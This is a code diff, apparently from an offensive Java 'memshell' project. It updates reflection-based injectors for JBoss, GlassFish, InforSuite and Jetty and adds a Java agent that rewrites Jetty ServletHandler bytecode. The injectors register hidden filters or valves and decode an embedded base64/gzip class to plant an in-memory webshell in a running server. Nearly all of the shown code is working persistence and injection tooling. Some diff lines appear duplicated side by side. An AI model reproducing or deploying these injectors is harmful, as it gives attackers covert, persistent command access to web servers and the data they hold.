Object filterConfig = constructors[0].newInstance(context, filterDef); Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs"); filterConfigs.put(getClassName(), filterConfig);
filterConfigs.put(getClassName(), filterConfig); System.out.println("filter inject success");
System.out.println("filter injected successfully");
} catch (Exception e) {
// 多个应用部分应用通过上下文线程加载 filter 对象可能在目标应用会加载不到
if (!(e.getCause() instanceof ClassNotFoundException)) {
throw e;
}
}
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -147,47 +175,39 @@ public class JbossFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try { Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Method method = null;
Method method = null; while (clazz != null && method == null) {
while (clazz != null && method == null) { try {
try { if (paramClazz == null) {
if (paramClazz == null) { method = clazz.getDeclaredMethod(methodName);
method = clazz.getDeclaredMethod(methodName); } else {
} else { method = clazz.getDeclaredMethod(methodName, paramClazz);
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
} }
@@ -13,10 +13,6 @@ import java.util.zip.GZIPInputStream;
*/ */
public class GlassFishValveInjector { public class GlassFishValveInjector {
static {
new GlassFishValveInjector();
}
public GlassFishValveInjector() { public GlassFishValveInjector() {
try { try {
List<Object> contexts = getContext(); List<Object> contexts = getContext();
@@ -53,12 +49,18 @@ public class GlassFishValveInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = getWebAppClassLoader(context);
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
return classLoader.loadClass(getClassName()).newInstance(); return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -128,23 +130,22 @@ public class GlassFishValveInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try { try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null; Method method = null;
@@ -164,8 +165,6 @@ public class GlassFishValveInjector {
} }
method.setAccessible(true); method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param); return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) { } catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
@@ -16,10 +16,6 @@ import java.util.zip.GZIPInputStream;
public class InforSuiteFilterInjector { public class InforSuiteFilterInjector {
Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName()); Logger log = Logger.getLogger(InforSuiteFilterInjector.class.getName());
static {
new InforSuiteFilterInjector();
}
public InforSuiteFilterInjector() { public InforSuiteFilterInjector() {
try { try {
List<Object> contexts = getContext(); List<Object> contexts = getContext();
@@ -44,6 +40,10 @@ public class InforSuiteFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
/**
* com.cvicse.loong.enterprise.web.WebModule
* /usr/local/inforsuite/as/modules/web-glue.jar
*/
public List<Object> getContext() throws Exception { public List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -59,12 +59,18 @@ public class InforSuiteFilterInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
Object loader = invokeMethod(context, "getLoader", null, null);
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
}
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = getWebAppClassLoader(context);
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
return classLoader.loadClass(getClassName()).newInstance(); return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
@@ -83,8 +89,9 @@ public class InforSuiteFilterInjector {
log.warning("filter already exists"); log.warning("filter already exists");
return; return;
} }
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
@@ -97,7 +104,7 @@ public class InforSuiteFilterInjector {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
} }
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
constructors[0].setAccessible(true); constructors[0].setAccessible(true);
Object filterConfig = constructors[0].newInstance(context, filterDef); Object filterConfig = constructors[0].newInstance(context, filterDef);
HashMap<String, Object> filterConfigs = null; HashMap<String, Object> filterConfigs = null;
@@ -17,10 +17,6 @@ import java.util.zip.GZIPInputStream;
public class JettyFilterInjector { public class JettyFilterInjector {
static {
new JettyFilterInjector();
}
public JettyFilterInjector() { public JettyFilterInjector() {
try { try {
List<Object> contexts = getContext(); List<Object> contexts = getContext();
@@ -122,6 +118,13 @@ public class JettyFilterInjector {
} }
} }
/**
* org.mortbay.jetty.webapp.WebAppContext
* org.eclipse.jetty.webapp.WebAppContext
* org.eclipse.jetty.ee8.webapp.WebAppContext
* org.eclipse.jetty.ee9.webapp.WebAppContext
* org.eclipse.jetty.ee10.webapp.WebAppContext
*/
private List<Object> getContext() throws Exception { private List<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); List<Object> contexts = new ArrayList<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -152,19 +155,24 @@ public class JettyFilterInjector {
return contexts; return contexts;
} }
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader webAppClassLoader = getWebAppClassLoader(context);
if (classLoader == null) {
classLoader = context.getClass().getClassLoader();
}
try { try {
return classLoader.loadClass(getClassName()).newInstance(); return webAppClassLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance(); return clazz.newInstance();
} }
} }
@@ -204,19 +212,18 @@ public class JettyFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
Field field = clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} catch (NoSuchFieldException ignored) { } catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException();
} }
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
@@ -0,0 +1,291 @@
package com.reajason.javaweb.memshell.injector.jetty;
import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import java.util.Arrays;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class JettyHandlerAgentInjector implements ClassFileTransformer {
private static final List<String> TARGET_CLASSES = Arrays.asList(
"org/eclipse/jetty/servlet/ServletHandler",
"org/eclipse/jetty/ee8/servlet/ServletHandler",
"org/eclipse/jetty/ee9/servlet/ServletHandler",
"org/eclipse/jetty/ee10/servlet/ServletHandler$Chain",
"org/mortbay/jetty/servlet/ServletHandler"
);
private static String targetMethodName = "doHandle";
public static String getClassName() {
return "{{advisorName}}";
}
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new JettyHandlerAgentInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
for (String targetClass : TARGET_CLASSES) {
if (targetClass.replace("/", ".").equals(name)) {
if (name.contains("mortbay")) {
targetMethodName = "handle";
}
if (name.contains("ee10")) {
targetMethodName = "doFilter";
}
inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at " + name + "." + targetMethodName);
}
}
}
}
@Override
@SuppressWarnings("all")
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASSES.contains(className)) {
if (className.contains("mortbay")) {
targetMethodName = "handle";
}
if (className.contains("ee10")) {
targetMethodName = "doFilter";
}
defineTargetClass(loader);
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
@SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (targetMethodName.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
}
@Override
public void visitCode() {
loadArgArray();
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label ifConditionFalse = new Label();
Label skipCatchBlock = new Label();
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
mv.visitLabel(tryStart);
String internalClassName = className.replace('.', '/');
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
mv.visitInsn(Opcodes.SWAP);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Object",
"equals",
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
mv.visitLabel(catchHandler);
mv.visitInsn(Opcodes.POP);
mv.visitLabel(skipCatchBlock);
}
public void loadArgArray() {
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
for (int i = 0; i < argumentTypes.length; i++) {
mv.visitInsn(Opcodes.DUP);
push(i);
Type argumentType = argumentTypes[i];
mv.visitVarInsn(argumentType.getOpcode(Opcodes.ILOAD), getArgIndex(i));
boxPrimitive(mv, argumentType);
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
}
}
@SuppressWarnings("all")
public void push(final int value) {
if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private void boxPrimitive(MethodVisitor mv, Type type) {
if (type.getSort() == Type.OBJECT || type.getSort() == Type.ARRAY) {
return; // Already an object
}
String owner;
String descriptor;
switch (type.getSort()) {
case Type.BOOLEAN:
owner = "java/lang/Boolean";
descriptor = "(Z)Ljava/lang/Boolean;";
break;
case Type.CHAR:
owner = "java/lang/Character";
descriptor = "(C)Ljava/lang/Character;";
break;
case Type.BYTE:
owner = "java/lang/Byte";
descriptor = "(B)Ljava/lang/Byte;";
break;
case Type.SHORT:
owner = "java/lang/Short";
descriptor = "(S)Ljava/lang/Short;";
break;
case Type.INT:
owner = "java/lang/Integer";
descriptor = "(I)Ljava/lang/Integer;";
break;
case Type.FLOAT:
owner = "java/lang/Float";
descriptor = "(F)Ljava/lang/Float;";
break;
case Type.LONG:
owner = "java/lang/Long";
descriptor = "(J)Ljava/lang/Long;";
break;
case Type.DOUBLE:
owner = "java/lang/Double";
descriptor = "(D)Ljava/lang/Double;";
break;
default:
// Should not happen for primitive types
return;
}
mv.visitMethodInsn(Opcodes.INVOKESTATIC, owner, "valueOf", descriptor, false);
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
try {
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}

Some files were not shown because too many files have changed in this diff Show More